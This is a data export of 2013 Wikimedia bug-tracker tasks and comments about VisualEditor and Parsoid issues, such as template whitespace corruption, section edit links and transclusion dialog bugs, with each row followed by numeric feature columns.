+This is post-Parsoid deployment.",,,1373554601,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-ixmexwlx4wiq23ctxvjy,task_subcomment,,True,c1,3,True,,,1,,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,1,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,1,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+231423,VisualEditor: Preserve unmodified data-mw attributes to avoid corrupting templates' whitespace,"It is either data-mw.i or data-mw.parts[<n>].i for templates. It is not new, but so far we have not used that information that heavily, so the fact that you drop the i probably fell under the radar. We use it to associate the public entry with private round-trip information such as the order of parameters and (crucially for this bug) whitespace.
+
+echo -e '{{echo|a   = foo\n|b   = c}}| node parse 
+<body><p about=""#mwt1"" typeof=""mw:Transclusion"" data-mw='{""target"":{""wt"":""echo"",""href"":""./Template:Echo""},""params"":{""a"":{""wt"":""foo""},""b"":{""wt"":""c""}},""i"":0}' data-parsoid='{""dsr"":[0,27,null,null],""src"":""{{echo|a   = foo\n|b   = c}}"",""pi"":[[{""k"":""a"",""spc"":["""",""   "","" "",""\n""]},{""k"":""b"",""spc"":["""",""   "","" "",""""]}]]}'>{{{1}}}</p>
+</body>",,,1373554563,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-ixmexwlx4wiq23ctxvjy,task_subcomment,,True,c1,3,True,,,1,,0,0,0,0,1,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,1,0,0,0,1,0,1,0,1,0,0,0,1,0,0,0,1,0,0,1,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,0,0,0,0,0,0,1
+231419,VisualEditor: Preserve unmodified data-mw attributes to avoid corrupting templates' whitespace,"https://en.wikipedia.org/w/index.php?title=Christchurch,_Dorset&diff=prev&oldid=563716751 appears to be a pre-deployment occurrence.",,,1373554450,,PHID-USER-j5ma2nageni56xp567v5,False,,,PHID-TASK-ixmexwlx4wiq23ctxvjy,task_subcomment,,True,c1,3,False,,,1,,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0
+231415,VisualEditor: Preserve unmodified data-mw attributes to avoid corrupting templates' whitespace,*** Bug 51161 has been marked as a duplicate of this bug. ***,,,1373554368,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-ixmexwlx4wiq23ctxvjy,task_subcomment,,True,c1,3,True,,,1,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+231410,VisualEditor: Preserve unmodified data-mw attributes to avoid corrupting templates' whitespace,"I can't reproduce this, even if I edit the template. VE preserves unmodified data-mw attributes always.
+
+Also, what is data-mw.i ? Is it new?",,,1373507539,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-ixmexwlx4wiq23ctxvjy,task_subcomment,,True,c1,3,False,,,1,,0,0,0,0,1,1,0,0,0,1,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,0,1,1,0,0,1,0,1,0,0,0,0,0,0
+231407,VisualEditor: Preserve unmodified data-mw attributes to avoid corrupting templates' whitespace,This then causes diffs like http://en.wikipedia.org/w/index.php?title=Bj%C3%B6rk&diff=563745216&oldid=563123196,,,1373505675,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-ixmexwlx4wiq23ctxvjy,task_subcomment,,True,c1,3,True,,,1,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0
+52848,VisualEditor/Parsoid: Beta release to en.wp IP users - blocking issues (tracking),"This is a tracking bug only for blocker-level issues before the planned release of the VisualEditor beta to IP users on English Wikipedia. Please only add blocker-level issues (e.g. content corruption); ultimately, what qualifies as ""blocker"" is at the discretion of James Forrester, VisualEditor PM.
+
+--------------------------
+**Version**: unspecified
+**Severity**: blocker",Unbreak Now!,100.0,1373067660,1373916884.0,PHID-USER-766idcqt4jkngnnuhnrj,False,,False,PHID-TASK-ldrbm7zdbq6hmivijiqq,task_description,resolved,True,c1,3,False,False,True,0,,0,0,0,0,0,1,1,0,0,0,1,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,1,0,0,0,1,1,0,1,0,0,0,1,1,0,0,0,0,0
+513031,VisualEditor/Parsoid: Beta release to en.wp IP users - blocking issues (tracking),[adding the #tracking project to tasks blocking (now deprecated) T4007 as part of T93366],,,1440343623,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-ldrbm7zdbq6hmivijiqq,task_subcomment,,True,c1,3,True,,,111,,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,1
+238714,VisualEditor/Parsoid: Beta release to en.wp IP users - blocking issues (tracking),"The aspects of bug 50747 that were wanted have now been done; bug 51152 has not, but was a soft-blocker rather than a hard-blocker.",,,1373916884,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-ldrbm7zdbq6hmivijiqq,task_subcomment,,True,c1,3,True,,,2,,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0
+52768,VisualEditor: Implement a better version of enwiki's reference pop-up for very easy reference inserting,"It is possible to have a tooltip that will tell you what a reference is when you hover over the number in edit mode, as it currently does in viewing? It is inconvenient to editors to have to go into the references mode to view the source while editing.
+
+(Request from En Wikipedia)
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement
+**URL**: https://www.mediawiki.org/wiki/VisualEditor/Design/Reference_Dialog
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=50110",Unbreak Now!,100.0,1372968840,1395701666.0,PHID-USER-joqqkabmjmvxeucx4ni2,True,,False,PHID-TASK-jjb4vcjpt27hv7dg5p5g,task_description,resolved,True,c1,3,False,False,False,0,,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,1,0,0,0,0,0,0,1,0,1,1,1,0,1,0,0,0,1,0,0,0,1,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,1,1,1,0,1,0,0,0
+233895,VisualEditor: Implement a better version of enwiki's reference pop-up for very easy reference inserting,"Change 119913 merged by jenkins-bot:
+Ultra-mega-hyper-citation editing on crack
+
+https://gerrit.wikimedia.org/r/119913",,,1395689849,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-jjb4vcjpt27hv7dg5p5g,task_subcomment,,True,c1,3,False,,,38,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+233890,VisualEditor: Implement a better version of enwiki's reference pop-up for very easy reference inserting,"Change 119913 had a related patch set uploaded by Jforrester:
+Ultra-mega-hyper-citation editing on crack
+
+https://gerrit.wikimedia.org/r/119913",,,1395363046,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-jjb4vcjpt27hv7dg5p5g,task_subcomment,,True,c1,3,False,,,37,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+233885,VisualEditor: Implement a better version of enwiki's reference pop-up for very easy reference inserting,Yes. Hopefully this will be PTR later this week.,,,1394036852,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-jjb4vcjpt27hv7dg5p5g,task_subcomment,,True,c1,3,True,,,35,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0
+233879,VisualEditor: Implement a better version of enwiki's reference pop-up for very easy reference inserting,"This has been highest priority for four months now... 
+Does that still reflect reality?",,,1394027803,,PHID-USER-hgn5uw2jafgjgfvxibhh,True,,,PHID-TASK-jjb4vcjpt27hv7dg5p5g,task_subcomment,,True,c1,3,True,,,35,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,1,0,1,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0
+233871,VisualEditor: Implement a better version of enwiki's reference pop-up for very easy reference inserting,"The bug as was written is the highest priority enhancement in VisualEditor and we've been working on it since October.
+
+The change in title and comment 3 reflect a further ambition for this area which will be addressed once this bug is fixed, and should be split off at some point.",,,1390411348,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-jjb4vcjpt27hv7dg5p5g,task_subcomment,,True,c1,3,True,,,29,,1,0,0,1,0,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,0,1,1,0,1,1,0,0,0,1,0,1,1,1,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,1,0,1,0
+233865,VisualEditor: Implement a better version of enwiki's reference pop-up for very easy reference inserting,"JamesF: This has been highest priority since 2013-11-08. 
+Any news or updates here?",,,1390406910,,PHID-USER-hgn5uw2jafgjgfvxibhh,True,,,PHID-TASK-jjb4vcjpt27hv7dg5p5g,task_subcomment,,True,c1,3,True,,,29,,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,0,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0
+233861,VisualEditor: Implement a better version of enwiki's reference pop-up for very easy reference inserting,*** Bug 51188 has been marked as a duplicate of this bug. ***,,,1385382810,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-jjb4vcjpt27hv7dg5p5g,task_subcomment,,True,c1,3,True,,,21,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+233857,VisualEditor: Implement a better version of enwiki's reference pop-up for very easy reference inserting,"When cite web is used, webpage title, and access date should be filled
+automatically for 1 click web citations.",,,1384848197,,PHID-USER-z3kqk2bjnqneldcznht6,True,,,PHID-TASK-jjb4vcjpt27hv7dg5p5g,task_subcomment,,True,c1,3,False,,,20,,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0
+233852,VisualEditor: Implement a better version of enwiki's reference pop-up for very easy reference inserting,*** Bug 56708 has been marked as a duplicate of this bug. ***,,,1384845361,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-jjb4vcjpt27hv7dg5p5g,task_subcomment,,True,c1,3,True,,,20,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+233845,VisualEditor: Implement a better version of enwiki's reference pop-up for very easy reference inserting,*** Bug 56772 has been marked as a duplicate of this bug. ***,,,1384845303,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-jjb4vcjpt27hv7dg5p5g,task_subcomment,,True,c1,3,True,,,20,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+52731,"VisualEditor: [Regression] Section edit links have reverted to the old style (source only, not expanded)","screenshot
+
+As of today, the section edit links seem to have reverted to the old style ([edit]). They don't expand and they open the source editor, even though VE is enabled (the 'Edit' and 'Edit source' tabs are there at the top. See screenshot.
+
+Observed on en.wp (by me and User:KTC) and fr.wp (by me). KTC used firefox and chrome, and I used firefox 21.
+
+--------------------------
+**Version**: unspecified
+**Severity**: major
+
+**Attached**: {F11031}",Unbreak Now!,100.0,1372931040,1373053892.0,PHID-USER-z6nzrwuaij3spgyg23jt,False,,False,PHID-TASK-b5zzf7lh657agk5cdqkw,task_description,resolved,True,c1,3,False,False,True,0,,0,0,0,1,1,1,1,0,1,0,1,1,0,0,0,1,0,1,1,0,1,0,0,1,1,1,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,0,0,1,0,0,0,1
+231719,"VisualEditor: [Regression] Section edit links have reverted to the old style (source only, not expanded)",Merged and will hopefully go out soon.,,,1373053892,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-b5zzf7lh657agk5cdqkw,task_subcomment,,True,c1,3,True,,,0,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0
+231711,"VisualEditor: [Regression] Section edit links have reverted to the old style (source only, not expanded)","Change 72069 merged by jenkins-bot:
+mw.ViewPageTarget.init: Move edit section to top init
+
+https://gerrit.wikimedia.org/r/72069",,,1373049617,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-b5zzf7lh657agk5cdqkw,task_subcomment,,True,c1,3,False,,,0,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+231705,"VisualEditor: [Regression] Section edit links have reverted to the old style (source only, not expanded)","Please consider fixing bug 50540 and maybe bug 50405, too.
+
+They are directly dependent of this change. Fixing them now once and for all will prevent further hassle with changing editsection links back-and-forth.
+
+Actually fixing bug 50540 would probably simplify code a lot and could therefore resolve bug 50405 as a side effect.",,,1373016135,,PHID-USER-v3yn5qf233ggnnnmvejc,False,,,PHID-TASK-b5zzf7lh657agk5cdqkw,task_subcomment,,True,c1,3,False,,,0,,1,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,0,1,0,1,1,1,0,0,0,0,0,1,0,1,0,1,1,0,0,0,1,1,0,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,1,1,1,0,0,0
+231701,"VisualEditor: [Regression] Section edit links have reverted to the old style (source only, not expanded)","Change 72069 had a related patch set uploaded by Krinkle:
+mw.ViewPageTarget.init: Move edit section to top init.
+
+https://gerrit.wikimedia.org/r/72069",,,1373004125,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-b5zzf7lh657agk5cdqkw,task_subcomment,,True,c1,3,False,,,0,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+231697,"VisualEditor: [Regression] Section edit links have reverted to the old style (source only, not expanded)","Bizarrely, the mouseover ""edit source"" links appear briefly when mousing over ""edit"" links while VE is loading a page into edit mode.",,,1372969315,,PHID-USER-766idcqt4jkngnnuhnrj,False,,,PHID-TASK-b5zzf7lh657agk5cdqkw,task_subcomment,,True,c1,3,False,,,0,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,1,1,0,1,0,0,0
+231692,"VisualEditor: [Regression] Section edit links have reverted to the old style (source only, not expanded)","Bug 48429#c35 - basically, visual section editing is a seriously hard problem, and isn't on the agenda any time soon.",,,1372952624,,PHID-USER-gfaq55vdypjmzz6nl2kn,False,,,PHID-TASK-b5zzf7lh657agk5cdqkw,task_subcomment,,True,c1,3,False,,,0,,1,0,0,0,1,1,1,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+231686,"VisualEditor: [Regression] Section edit links have reverted to the old style (source only, not expanded)","Well, if that's the case (I haven't heard about it, but I believe you) presumably the link should be renamed to ""edit source"" to be consistent with the naming of the tabs. Otherwise, I expect quite a bit of confusion.",,,1372952431,,PHID-USER-z6nzrwuaij3spgyg23jt,False,,,PHID-TASK-b5zzf7lh657agk5cdqkw,task_subcomment,,True,c1,3,False,,,0,,0,0,0,1,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,1,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,0,0,1,1,0,0,1,0,1,0,0,1,0,0,0,0,0
+231679,"VisualEditor: [Regression] Section edit links have reverted to the old style (source only, not expanded)","I'd call this NOTABUG, since James has declared that visual section-editing won't be funded for the foreseeable future. So we now don't have an interface that claims functionality there aren't even plans to implement.",,,1372951540,,PHID-USER-gfaq55vdypjmzz6nl2kn,False,,,PHID-TASK-b5zzf7lh657agk5cdqkw,task_subcomment,,True,c1,3,False,,,0,,0,0,0,1,1,1,0,0,0,0,0,1,0,0,1,1,0,1,1,0,1,0,1,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,1,1,0,0,0,1,1,1,0,1,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,0,0,0,0
+52715,"VisualEditor: Transclusion dialog sometimes shows items in ""Add parameter"" that are already used","Screenshot of problem
+
+This causing:
+
+* The label fallback (parameter name + ucfirst) not working.
+* It is still available from the ""Add parameter"" dropdown.
+* The user can actually add it again, causing a logic error.
+
+I can currently consistently reproduce this on https://en.wikipedia.org/wiki/Taal%2C_Batangas?veaction=edit when editing the ""Population Consensus of Taal"" information box.
+
+See screenshot:
+- ""title"" is both in the sidebar and in the selectable cloud
+- ""title"" isn't transformed into ""Title"" (the templatedata has no .label for this one)
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+
+**Attached**: {F11920}",Unbreak Now!,100.0,1372910460,1373497407.0,PHID-USER-sai77mtxmpqnm6pycyvz,False,,False,PHID-TASK-r4klwzo7lxdsgw53zery,task_description,resolved,True,c1,3,True,False,True,0,,0,0,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,1,1,0,0,0,1,0,1,0,1,1,0,0,0,0,0,1,1,1,0,0,0,0,0,0,1,1,0,1,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,1,1,0,1,0,0,0
+255765,"VisualEditor: Transclusion dialog sometimes shows items in ""Add parameter"" that are already used",This is now fixed in master and we will push to production very soon. Sorry for the inconvenience.,,,1373497407,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-r4klwzo7lxdsgw53zery,task_subcomment,,True,c1,3,True,,,1,,0,0,1,1,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0
+255759,"VisualEditor: Transclusion dialog sometimes shows items in ""Add parameter"" that are already used","Change 73010 merged by jenkins-bot:
+Retain original param names and ignore leading/trailing whitespace
+
+https://gerrit.wikimedia.org/r/73010",,,1373497073,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-r4klwzo7lxdsgw53zery,task_subcomment,,True,c1,3,False,,,1,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,0
+255753,"VisualEditor: Transclusion dialog sometimes shows items in ""Add parameter"" that are already used","Change 73010 had a related patch set uploaded by Trevor Parscal:
+Retain original param names and ignore leading/trailing whitespace
+
+https://gerrit.wikimedia.org/r/73010",,,1373483215,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-r4klwzo7lxdsgw53zery,task_subcomment,,True,c1,3,False,,,1,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,1,0,0,0
+52708,VisualEditor: Sometimes not correctly initialized (about 1 in 40-50 pageviews),"The Edit tab for VisualEditor is sometimes not correctly initialized. Loading about 50 random pages, on one of them I will not have the ""Edit source"" tab, and the ""Edit"" tab will point to the wikitext editor instead of VisualEditor.
+
+Chrome/Ubuntu, logged-in. Console shows the following error when this occurs:
+
+Exception thrown by skins.vector.js: Object [object Object] has no method 'collapsibleTabs'
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Unbreak Now!,100.0,1372896120,1373359485.0,PHID-USER-766idcqt4jkngnnuhnrj,False,,False,PHID-TASK-i4cg3cr5ipw5q2y7rdrv,task_description,resolved,True,c1,3,False,False,True,0,,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,1,1,0,0,0,0,1,0,1,1,1,0,0,0,0,1,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,0,1,1,0,0,1
+255243,VisualEditor: Sometimes not correctly initialized (about 1 in 40-50 pageviews),No longer able to repro this either so closing as fixed; will reopen if I see it reappear.,,,1373359485,,PHID-USER-766idcqt4jkngnnuhnrj,False,,,PHID-TASK-i4cg3cr5ipw5q2y7rdrv,task_subcomment,,True,c1,3,False,,,1,,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,0,0,1,1,0,0
+255237,VisualEditor: Sometimes not correctly initialized (about 1 in 40-50 pageviews),"(In reply to comment #5)
+> I still saw it a couple days ago. I'll try with a clean (standard prefs) test
+> account later today.
+
+Did a spot-test of 100 on Firefox and another 50 in Safari, and also didn't have any issues.",,,1373333744,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-i4cg3cr5ipw5q2y7rdrv,task_subcomment,,True,c1,3,True,,,1,,1,0,0,0,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,1,0,0,1,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,0,1,0,0,1,0,0,0,1,0,1,0,1,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,0,0,1,0,0,0,0,1
+255230,VisualEditor: Sometimes not correctly initialized (about 1 in 40-50 pageviews),I still saw it a couple days ago. I'll try with a clean (standard prefs) test account later today.,,,1373303590,,PHID-USER-766idcqt4jkngnnuhnrj,False,,,PHID-TASK-i4cg3cr5ipw5q2y7rdrv,task_subcomment,,True,c1,3,False,,,1,,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,1,0,0,0,0,0
